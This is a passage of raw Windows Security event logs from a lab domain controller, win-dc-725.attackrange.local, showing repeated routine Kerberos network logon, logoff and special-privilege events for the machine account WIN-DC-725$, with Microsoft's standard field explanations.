The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249434
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4096

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249433
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4035

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249432
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4035
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64247

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249431
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4035

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249454
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE42EE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249453
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE42EE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64254

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249452
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE42EE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249451
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE428D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249450
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE428D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64253

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249449
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE428D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249448
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4227

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249447
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4227
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64252

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249446
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4227

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249445
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE41C6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249444
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE41C6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64251

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249443
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE41C6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249466
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE447F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249465
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE447F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64258

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249464
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE447F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249463
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE441E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249462
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE441E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64257

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249461
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE441E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249460
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE43B8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249459
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE43B8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64256

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249458
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE43B8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249457
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4357

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249456
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4357
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64255

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249455
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4357

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
